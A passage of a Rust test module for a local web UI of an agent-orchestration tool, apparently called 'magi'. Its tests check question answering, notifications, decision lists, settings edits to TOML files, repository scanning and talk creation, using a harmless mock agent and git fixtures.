14443        std::fs::create_dir_all(&dir).unwrap();
14444        std::fs::write(
14445            dir.join("state.json"),
14446            serde_json::to_vec(&serde_json::json!({
14447                "schema": 1, "sources": [q.id], "pending": [q.id]
14448            }))
14449            .unwrap(),
14450        )
14451        .unwrap();
14452        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14453        for migrated in [false, true] {
14454            if migrated {
14455                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14456            }
14457            for endpoint in ["/api/questions", "/api/questions/core"] {
14458                let response = fx.get(endpoint).await;
14459                assert_eq!(response.status, 200);
14460                let rows = response.json();
14461                let row = rows
14462                    .as_array()
14463                    .unwrap()
14464                    .iter()
14465                    .find(|r| r["id"] == q.id)
14466                    .unwrap();
14467                assert_eq!(row["status"], "answered");
14468                assert_eq!(row["answer"]["choice"], "merge");
14469                assert_eq!(row["can_answer"], false);
14470                assert_eq!(row["history_only"], true);
14471            }
14472            let answer = fx
14473                .post(
14474                    &format!("/api/questions/{}/answer", q.id),
14475                    Some(r#"{"choice":"merge"}"#),
14476                )
14477                .await;
14478            assert_eq!(answer.status, 409, "{}", answer.body);
14479            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14480        }
14481    }
14482
14483    #[tokio::test]
14484    async fn an_answer_the_question_does_not_offer_is_refused() {
14485        let fx = Fixture::start().await;
14486        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14487        let path = format!("/api/questions/{id}/answer");
14488
14489        for body in [
14490            r#"{"choice":"Postgres"}"#,
14491            r#"{"text":"whatever you think"}"#,
14492            r#"{"choice":"Redis","text":"both"}"#,
14493            r#"{}"#,
14494        ] {
14495            let res = fx.post(&path, Some(body)).await;
14496            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14497            assert!(res.json()["error"].is_string(), "{}", res.body);
14498        }
14499        // Nothing above may have answered it.
14500        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14501    }
14502
14503    #[tokio::test]
14504    async fn a_free_text_question_takes_text_and_not_a_choice() {
14505        let fx = Fixture::start().await;
14506        let id = ask(&fx, "What should the flag be called?", &[]);
14507        fx.questions().beat(&id, ask::WaiterKind::Asker);
14508        let path = format!("/api/questions/{id}/answer");
14509
14510        assert_eq!(
14511            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14512            400
14513        );
14514        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14515        assert_eq!(res.status, 200, "{}", res.body);
14516        assert_eq!(res.json()["answer"]["text"], "--json");
14517    }
14518
14519    #[tokio::test]
14520    async fn an_unknown_question_is_a_json_404() {
14521        let fx = Fixture::start().await;
14522        let res = fx
14523            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14524            .await;
14525        assert_eq!(res.status, 404, "{}", res.body);
14526        assert!(res.json()["error"].is_string());
14527    }
14528
14529    #[tokio::test]
14530    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14531        let fx = Fixture::start().await;
14532        let questions = Questions::at(fx.home.path().join("questions"));
14533        let store = Notices::at(fx.home.path().join("notifications"));
14534        let mut q = ask::Question::new(
14535            "t1".into(),
14536            "conduct".into(),
14537            "conductor".into(),
14538            "Continue?".into(),
14539            String::new(),
14540            Vec::new(),
14541        );
14542        questions.put(&mut q).unwrap();
14543        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14544        n.covered_by = Some(q.id.clone());
14545        let n = store.raise(n).unwrap();
14546        let listed = fx.get("/api/notifications").await.json();
14547        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14548        questions
14549            .update(&q.id, |q| {
14550                q.abandon("run gone");
14551                Ok(())
14552            })
14553            .unwrap();
14554        let listed = fx.get("/api/notifications").await.json();
14555        assert!(listed["items"][0]["answerable_question"].is_null());
14556        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14557        assert!(
14558            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14559                .unwrap()
14560                .contains("answerable_question")
14561        );
14562    }
14563
14564    #[tokio::test]
14565    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14566        let fx = Fixture::start().await;
14567        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14568        let task = crate::queue::Task::new(
14569            "work".into(),
14570            "work".into(),
14571            fx.home.path().into(),
14572            crate::queue::Source::Human,
14573        );
14574        let inquiry = outbox
14575            .file(&task, None, "test".into(), "入力待ち", "詳細")
14576            .unwrap();
14577        let root = fx.home.path().join("notifications/task-inquiries");
14578        std::fs::write(root.join("broken.json"), "{").unwrap();
14579        let mut unsupported = inquiry.clone();
14580        unsupported.id = "unsupported".into();
14581        unsupported.schema = 99;
14582        std::fs::write(
14583            root.join("unsupported.json"),
14584            serde_json::to_vec(&unsupported).unwrap(),
14585        )
14586        .unwrap();
14587        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14588        for _ in 0..2 {
14589            let response = fx.get("/api/decisions").await;
14590            assert_eq!(response.status, 200, "{}", response.body);
14591            let listed = response.json();
14592            assert_eq!(listed["unreadable"], 2);
14593            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14594            assert_eq!(listed["items"][0]["id"], inquiry.id);
14595            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14596        }
14597        assert_eq!(
14598            before,
14599            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14600        );
14601        assert!(outbox.list().is_err());
14602        std::fs::remove_file(root.join("broken.json")).unwrap();
14603        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14604        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14605    }
14606
14607    #[tokio::test]
14608    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14609        let fx = Fixture::start().await;
14610        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14611        std::fs::create_dir_all(&root).unwrap();
14612        let journal = serde_json::json!({
14613            "schema": 1, "pending": ["saved-inquiry"],
14614            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14615        });
14616        let bytes = serde_json::to_vec(&journal).unwrap();
14617        std::fs::write(root.join("state.json"), &bytes).unwrap();
14618        for _ in 0..2 {
14619            let response = fx.get("/api/decisions").await;
14620            assert_eq!(response.status, 200);
14621            let listed = response.json();
14622            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14623            assert!(listed["items"].as_array().unwrap().is_empty());
14624            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14625        }
14626        // An unreadable journal must not make the endpoint hide the list.
14627        std::fs::write(root.join("state.json"), b"{").unwrap();
14628        let response = fx.get("/api/decisions").await;
14629        assert_eq!(response.status, 200);
14630        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14631    }
14632
14633    #[tokio::test]
14634    async fn notifications_list_read_dismiss_and_health_agree() {
14635        let fx = Fixture::start().await;
14636        let store = Notices::at(fx.home.path().join("notifications"));
14637        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14638        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14639
14640        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14641        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14642
14643        store
14644            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14645            .unwrap();
14646        let health = fx.get("/api/health").await.json();
14647        assert_eq!(health["notifications_unread"], 2);
14648        assert_ne!(
14649            health["notifications_rev"], rev0,
14650            "the badge must move live"
14651        );
14652
14653        let listed = fx.get("/api/notifications").await.json();
14654        assert_eq!(listed["unread"], 2);
14655        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14656        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14657
14658        let read = fx
14659            .post(&format!("/api/notifications/{}/read", a.id), None)
14660            .await;
14661        assert_eq!(read.status, 200, "{}", read.body);
14662        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14663
14664        let gone = fx
14665            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14666            .await;
14667        assert_eq!(gone.status, 200, "{}", gone.body);
14668        let listed = fx.get("/api/notifications").await.json();
14669        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14670        assert_eq!(listed["unread"], 0);
14671
14672        store.raise(Notice::info("x", "again")).unwrap();
14673        let all = fx.post("/api/notifications/read-all", None).await;
14674        assert_eq!(all.status, 200, "{}", all.body);
14675        assert_eq!(all.json()["marked"], 1);
14676        assert_eq!(
14677            fx.get("/api/health").await.json()["notifications_unread"],
14678            0
14679        );
14680
14681        let missing = fx.post("/api/notifications/nope/read", None).await;
14682        assert_eq!(missing.status, 404, "{}", missing.body);
14683        assert!(missing.json()["error"].is_string());
14684    }
14685
14686    /// New work reaches the queue through `magi task add`, a standing talk's
14687    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14688    /// so the compose form and that route are gone. The tests that covered
14689    /// that route's validation went with it, and nothing was left asserting
14690    /// it stays gone — so a re-added handler would silently let the phone
14691    /// file briefs no one validated.
14692    #[tokio::test]
14693    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14694        let f = Fixture::start().await;
14695
14696        let res = f
14697            .post(
14698                "/api/queue",
14699                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14700            )
14701            .await;
14702
14703        assert_eq!(
14704            res.status, 405,
14705            "POST /api/queue must not be a route: {}",
14706            res.body
14707        );
14708        assert!(
14709            f.queue().list().is_empty(),
14710            "a task filed by a route that does not exist must not reach the disk"
14711        );
14712        // The path itself is still served — the Queue view reads it — and the
14713        // per-task controls are untouched by the entry being removed.
14714        assert_eq!(f.get("/api/queue").await.status, 200);
14715    }
14716
14717    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14718    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14719        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14720            .expect("checkout dir");
14721    }
14722
14723    /// Two command agents, so a config needs no real CLI.
14724    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14725
14726    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14727        let tmp = TempDir::new().expect("tempdir");
14728        let repo = tmp.path().join("repo");
14729        std::fs::create_dir_all(&repo).expect("repo dir");
14730        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14731        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14732        if let Some(text) = machine_toml {
14733            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14734            std::fs::write(&machine, text).expect("machine toml");
14735        }
14736        (tmp, repo, machine)
14737    }
14738
14739    async fn settings_checkout(path: &FsPath, text: &str) {
14740        std::fs::create_dir_all(path).unwrap();
14741        std::fs::write(path.join("magi.toml"), text).unwrap();
14742        for args in [
14743            vec!["init", "-b", "main"],
14744            vec!["add", "magi.toml"],
14745            vec![
14746                "-c",
14747                "user.name=Test",
14748                "-c",
14749                "user.email=test@example.invalid",
14750                "commit",
14751                "-m",
14752                "fixture",
14753            ],
14754            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14755            vec![
14756                "symbolic-ref",
14757                "refs/remotes/origin/HEAD",
14758                "refs/remotes/origin/main",
14759            ],
14760        ] {
14761            crate::git::git(path, &args).await.unwrap();
14762        }
14763    }
14764
14765    #[tokio::test]
14766    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14767        let (tmp, repo, machine) =
14768            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14769        let root = tmp.path().join("roots");
14770        let selected = root.join("host/owner/selected");
14771        settings_checkout(
14772            &selected,
14773            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14774        )
14775        .await;
14776        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14777        let before = std::fs::read(&machine).unwrap();
14778        let ui = Arc::new(
14779            Ui::new(
14780                Queue::at(tmp.path().join("queue")),
14781                Questions::at(tmp.path().join("questions")),
14782                Talks::at(tmp.path().join("talks")),
14783                tmp.path().join("runs"),
14784                tmp.path().to_path_buf(),
14785                repo.clone(),
14786            )
14787            .with_machine_config(Some(machine.clone())),
14788        );
14789        let query = || {
14790            Query(SettingsQuery {
14791                repo: Some(selected.clone()),
14792            })
14793        };
14794        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14795        assert!(v.error.is_none(), "{:?}", v.error);
14796        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14797        assert_eq!(conductor.source, "repo");
14798        assert_eq!(
14799            conductor.machine_value,
14800            Some(toml::Value::String("a".into()))
14801        );
14802        assert!(!conductor.editable);
14803        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14804        assert_eq!(
14805            judges.count.as_ref().unwrap().machine_value,
14806            Some(toml::Value::Integer(1))
14807        );
14808        assert!(
14809            !v.roles
14810                .iter()
14811                .find(|r| r.key == "reviewers")
14812                .unwrap()
14813                .editable
14814        );
14815        let unknown = || {
14816            Query(SettingsQuery {
14817                repo: Some(tmp.path().to_path_buf()),
14818            })
14819        };
14820        assert_eq!(
14821            settings_get(State(ui.clone()), unknown())
14822                .await
14823                .unwrap_err()
14824                .status,
14825            StatusCode::UNPROCESSABLE_ENTITY
14826        );
14827        let body = || {
14828            Ok(Json(RolesBody {
14829                revision: v.revision.clone(),
14830                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14831                counts: Default::default(),
14832            }))
14833        };
14834        assert_eq!(
14835            settings_put_roles(State(ui.clone()), unknown(), body())
14836                .await
14837                .unwrap_err()
14838                .status,
14839            StatusCode::UNPROCESSABLE_ENTITY
14840        );
14841        assert_eq!(std::fs::read(&machine).unwrap(), before);
14842        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14843            .await
14844            .unwrap();
14845        assert_eq!(
14846            saved.repo,
14847            selected.canonicalize().unwrap().display().to_string()
14848        );
14849        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14850        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14851        // A cache miss refreshes the stable candidate list exactly for validation.
14852        let fresh = root.join("host/owner/fresh");
14853        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14854        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14855            .await
14856            .unwrap();
14857        assert_eq!(fresh_view.repositories.len(), 3);
14858    }
14859
14860    #[tokio::test]
14861    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14862        let (tmp, repo, machine) = settings_dirs(
14863            "[roles]\nreviewers = [\"a\"]\n",
14864            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14865        );
14866        let root = tmp.path().join("roots");
14867        let selected = root.join("host/owner/selected");
14868        settings_checkout(
14869            &selected,
14870            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14871        )
14872        .await;
14873        let broken = root.join("host/owner/broken");
14874        settings_checkout(&broken, "[roles\nbroken").await;
14875        let machine_text = format!(
14876            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14877            toml::Value::String(root.display().to_string())
14878        );
14879        std::fs::write(&machine, &machine_text).unwrap();
14880        let originals: Vec<_> = [&repo, &selected, &broken]
14881            .iter()
14882            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14883            .collect();
14884        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14885        let default = f.get("/api/settings").await.json();
14886        assert_eq!(
14887            default["repo"],
14888            repo.canonicalize().unwrap().display().to_string()
14889        );
14890        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14891        let query = format!("?repo={}", selected.display());
14892        let res = f.get(&format!("/api/settings{query}")).await;
14893        assert_eq!(res.status, 200, "{}", res.body);
14894        let v = res.json();
14895        assert!(v["error"].is_null(), "{v}");
14896        assert_eq!(v["repositories"], default["repositories"]);
14897        let role = |key: &str| {
14898            v["roles"]
14899                .as_array()
14900                .unwrap()
14901                .iter()
14902                .find(|r| r["key"] == key)
14903                .unwrap()
14904        };
14905        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14906        assert_eq!(role("advisors")["source"], "repo");
14907        assert_eq!(role("advisors")["editable"], false);
14908        assert!(role("advisors")["machine_value"].is_null());
14909        assert_eq!(role("judges")["count"]["value"], 2);
14910        assert_eq!(role("judges")["count"]["machine_value"], 1);
14911        assert_eq!(role("judges")["count"]["source"], "repo");
14912        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14913        assert!(
14914            source.contains("origin/main") && !source.contains("magi/config/"),
14915            "{source}"
14916        );
14917        assert_eq!(
14918            role("reviewers")["editable"],
14919            false,
14920            "default context outside roots must protect its declarations"
14921        );
14922        let body =
14923            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14924        let unknown = format!("?repo={}", tmp.path().display());
14925        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14926        assert_eq!(
14927            f.put(&format!("/api/settings/roles{unknown}"), &body)
14928                .await
14929                .status,
14930            422
14931        );
14932        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14933        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14934            .to_string();
14935        assert_eq!(
14936            f.put(&format!("/api/settings/roles{query}"), &refuse)
14937                .await
14938                .status,
14939            422
14940        );
14941        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14942        assert_eq!(saved.status, 200, "{}", saved.body);
14943        assert_eq!(saved.json()["repo"], v["repo"]);
14944        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14945        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14946        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14947            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14948        }
14949        let error = f
14950            .get(&format!("/api/settings?repo={}", broken.display()))
14951            .await;
14952        assert_eq!(error.status, 200);
14953        assert!(error.json()["error"]["message"].is_string());
14954        assert_eq!(error.json()["repositories"], default["repositories"]);
14955    }
14956
14957    #[tokio::test]
14958    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14959        let (_tmp, repo, machine) =
14960            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14961        let f = Fixture::with_repo_and_machine(repo, machine).await;
14962        let res = f.get("/api/settings").await;
14963        assert_eq!(res.status, 200, "{}", res.body);
14964        let v = res.json();
14965        assert!(v["error"].is_null(), "{v}");
14966        let role = |k: &str| {
14967            v["roles"]
14968                .as_array()
14969                .and_then(|r| r.iter().find(|x| x["key"] == k))
14970                .cloned()
14971                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14972        };
14973        assert_eq!(role("judges")["source"], "machine");
14974        assert_eq!(role("judges")["editable"], true);
14975        assert_eq!(role("implementers")["source"], "default");
14976        let adv = role("advisors");
14977        assert_eq!(adv["fallback"], "judges");
14978        assert!(
14979            adv["seats"]
14980                .as_array()
14981                .is_some_and(|s| s.iter().all(|x| x == "b")),
14982            "{adv}"
14983        );
14984        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14985        assert_eq!(v["agents"][0]["source"], "repo");
14986    }
14987
14988    #[tokio::test]
14989    async fn settings_get_reports_a_config_that_does_not_parse() {
14990        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14991        let f = Fixture::with_repo_and_machine(repo, machine).await;
14992        let res = f.get("/api/settings").await;
14993        assert_eq!(res.status, 200, "{}", res.body);
14994        let v = res.json();
14995        assert!(v["error"]["message"].is_string(), "{v}");
14996        assert!(
14997            v["error"]["path"]
14998                .as_str()
14999                .is_some_and(|p| p.ends_with("magi.toml")),
15000            "{v}"
15001        );
15002        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
15003    }
15004
15005    #[tokio::test]
15006    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
15007        let (_tmp, repo, machine) = settings_dirs(
15008            SETTINGS_AGENTS,
15009            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
15010        );
15011        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
15012        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
15013        let rev = f.get("/api/settings").await.json()["revision"]
15014            .as_str()
15015            .expect("revision")
15016            .to_owned();
15017        let body = serde_json::json!({
15018            "revision": rev,
15019            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
15020        })
15021        .to_string();
15022        let res = f.put("/api/settings/roles", &body).await;
15023        assert_eq!(res.status, 200, "{}", res.body);
15024        let text = std::fs::read_to_string(&machine).expect("machine");
15025        assert_eq!(
15026            text,
15027            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
15028        );
15029        assert_eq!(
15030            std::fs::read(repo.join("magi.toml")).expect("read"),
15031            repo_before
15032        );
15033        let again = f.get("/api/settings").await.json();
15034        let judges = again["roles"]
15035            .as_array()
15036            .expect("roles")
15037            .iter()
15038            .find(|r| r["key"] == "judges")
15039            .expect("judges")
15040            .clone();
15041        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
15042        // The old revision is now stale.
15043        let stale = f.put("/api/settings/roles", &body).await;
15044        assert_eq!(stale.status, 409, "{}", stale.body);
15045    }
15046
15047    #[tokio::test]
15048    async fn settings_counts_are_reported_and_saved() {
15049        let (_tmp, repo, machine) = settings_dirs(
15050            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
15051            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
15052        );
15053        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15054        let v = f.get("/api/settings").await.json();
15055        let count = |v: &serde_json::Value, k: &str| {
15056            v["roles"]
15057                .as_array()
15058                .and_then(|r| r.iter().find(|x| x["key"] == k))
15059                .map(|x| x["count"].clone())
15060                .unwrap_or_else(|| panic!("no role {k}: {v}"))
15061        };
15062        let imp = count(&v, "implementers");
15063        assert_eq!(imp["value"], 2);
15064        assert_eq!(imp["source"], "machine");
15065        assert_eq!(imp["file_key"], "candidates");
15066        assert_eq!(imp["roster_len"], 2);
15067        assert_eq!(imp["backups"], 0);
15068        assert_eq!(count(&v, "judges")["source"], "default");
15069        assert_eq!(count(&v, "advisors")["min"], 0);
15070        assert_eq!(count(&v, "reviewers")["editable"], false);
15071        assert!(
15072            count(&v, "reviewers")["locked_reason"]
15073                .as_str()
15074                .is_some_and(|m| m.contains("graph.reviewers"))
15075        );
15076        assert!(count(&v, "fixer").is_null());
15077        let rev = v["revision"].as_str().expect("revision").to_owned();
15078        let body = serde_json::json!({
15079            "revision": rev,
15080            "roles": { "judges": ["b"] },
15081            "counts": { "implementers": 1, "advisors": 0 }
15082        })
15083        .to_string();
15084        let res = f.put("/api/settings/roles", &body).await;
15085        assert_eq!(res.status, 200, "{}", res.body);
15086        let text = std::fs::read_to_string(&machine).expect("machine");
15087        assert_eq!(
15088            text,
15089            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
15090        );
15091        let after = f.get("/api/settings").await.json();
15092        assert_eq!(count(&after, "implementers")["value"], 1);
15093        assert_eq!(count(&after, "implementers")["backups"], 1);
15094        assert_eq!(count(&after, "advisors")["value"], 0);
15095        let before = std::fs::read_to_string(&machine).expect("machine");
15096        let rev = after["revision"].as_str().expect("revision").to_owned();
15097        for counts in [
15098            serde_json::json!({ "judges": 0 }),
15099            serde_json::json!({ "judges": "x" }),
15100            serde_json::json!({ "judges": 2.5 }),
15101            serde_json::json!({ "judges": -1 }),
15102            serde_json::json!({ "reviewers": 3 }),
15103            serde_json::json!({ "bogus": 3 }),
15104        ] {
15105            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
15106            let res = f.put("/api/settings/roles", &body).await;
15107            assert_eq!(res.status, 422, "{counts}: {}", res.body);
15108            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
15109        }
15110    }
15111
15112    #[tokio::test]
15113    async fn settings_put_refuses_without_touching_the_file() {
15114        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
15115        let (_tmp, repo, machine) = settings_dirs(
15116            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
15117            Some(machine_text),
15118        );
15119        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15120        let rev = f.get("/api/settings").await.json()["revision"]
15121            .as_str()
15122            .expect("revision")
15123            .to_owned();
15124        for roles in [
15125            serde_json::json!({ "judges": ["nope"] }),
15126            serde_json::json!({ "reviewers": ["b"] }),
15127            serde_json::json!({ "bogus": ["a"] }),
15128        ] {
15129            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
15130            let res = f.put("/api/settings/roles", &body).await;
15131            assert_eq!(res.status, 422, "{roles}: {}", res.body);
15132            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
15133            assert_eq!(
15134                std::fs::read_to_string(&machine).expect("machine"),
15135                machine_text
15136            );
15137        }
15138    }
15139
15140    #[tokio::test]
15141    async fn repos_list_returns_name_and_path_for_every_configured_root() {
15142        let tmp = TempDir::new().expect("tempdir");
15143        let repo = tmp.path().join("repo");
15144        std::fs::create_dir_all(&repo).expect("repo dir");
15145        let root = tmp.path().join("root");
15146        make_checkout(&root, "github.com", "yukimemi", "magi");
15147        std::fs::write(
15148            repo.join("magi.toml"),
15149            format!(
15150                "[repos]\nroots = [{:?}]\n",
15151                root.to_string_lossy().into_owned()
15152            ),
15153        )
15154        .expect("write magi.toml");
15155
15156        let f = Fixture::with_repo(repo).await;
15157        let res = f.get("/api/repos").await;
15158        assert_eq!(res.status, 200, "{}", res.body);
15159        let list = res.json();
15160        let repos = list.as_array().expect("an array");
15161        assert_eq!(repos.len(), 1);
15162        assert_eq!(repos[0]["name"], "yukimemi/magi");
15163        assert!(
15164            repos[0]["path"]
15165                .as_str()
15166                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
15167            "{list}"
15168        );
15169    }
15170
15171    #[tokio::test]
15172    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
15173        let tmp = TempDir::new().expect("tempdir");
15174        let repo = tmp.path().join("repo");
15175        std::fs::create_dir_all(&repo).expect("repo dir");
15176        let root = tmp.path().join("root");
15177        make_checkout(&root, "github.com", "yukimemi", "magi");
15178        std::fs::write(
15179            repo.join("magi.toml"),
15180            format!(
15181                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
15182                root.to_string_lossy().into_owned()
15183            ),
15184        )
15185        .expect("write magi.toml");
15186
15187        let f = Fixture::with_repo(repo).await;
15188        let first = f.get("/api/repos").await;
15189        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
15190
15191        // A second checkout appears; within the TTL the cached answer must
15192        // not notice it.
15193        make_checkout(&root, "github.com", "yukimemi", "rvpm");
15194        let second = f.get("/api/repos").await;
15195        assert_eq!(
15196            second.json().as_array().map(Vec::len),
15197            Some(1),
15198            "a fresh cache must not rescan inside the TTL"
15199        );
15200
15201        let refreshed = f.get("/api/repos?refresh=1").await;
15202        assert_eq!(
15203            refreshed.json().as_array().map(Vec::len),
15204            Some(2),
15205            "an explicit refresh must rescan even inside the TTL"
15206        );
15207    }
15208
15209    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
15210    /// string, declared straight in a repository's own `magi.toml` rather
15211    /// than the operator's real roster. No real agent CLI is spawned - `sh`
15212    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
15213    /// this is safe to run over a real HTTP round trip.
15214    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
15215
15216    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
15217    /// real `Config::discover` to find an agent - `talk::begin` resolves one
15218    /// even though it takes no turn, and `talk_say` invokes one.
15219    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
15220        let tmp = TempDir::new().expect("tempdir");
15221        let repo = tmp.path().join("repo");
15222        std::fs::create_dir_all(&repo).expect("repo dir");
15223        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15224        let f = Fixture::with_repo(repo.clone()).await;
15225        (tmp, repo, f)
15226    }
15227
15228    #[tokio::test]
15229    async fn posting_a_talk_with_remembered_choices_is_soft() {
15230        let (_tmp, _repo, f) = talk_fixture().await;
15231
15232        let good = f
15233            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
15234            .await;
15235        assert_eq!(good.status, 201, "{}", good.body);
15236        assert_eq!(good.json()["persona"], "rei");
15237
15238        // Wrong values and wrong types are dropped one by one, never a 4xx.
15239        let stale = f
15240            .post(
15241                "/api/talks",
15242                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
15243            )
15244            .await;
15245        assert_eq!(stale.status, 201, "{}", stale.body);
15246        let v = stale.json();
15247        assert_eq!(v["implementers"], 1);
15248        assert_ne!(v["persona"], "nobody");
15249        let typed = f
15250            .post(
15251                "/api/talks",
15252                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
15253            )
15254            .await;
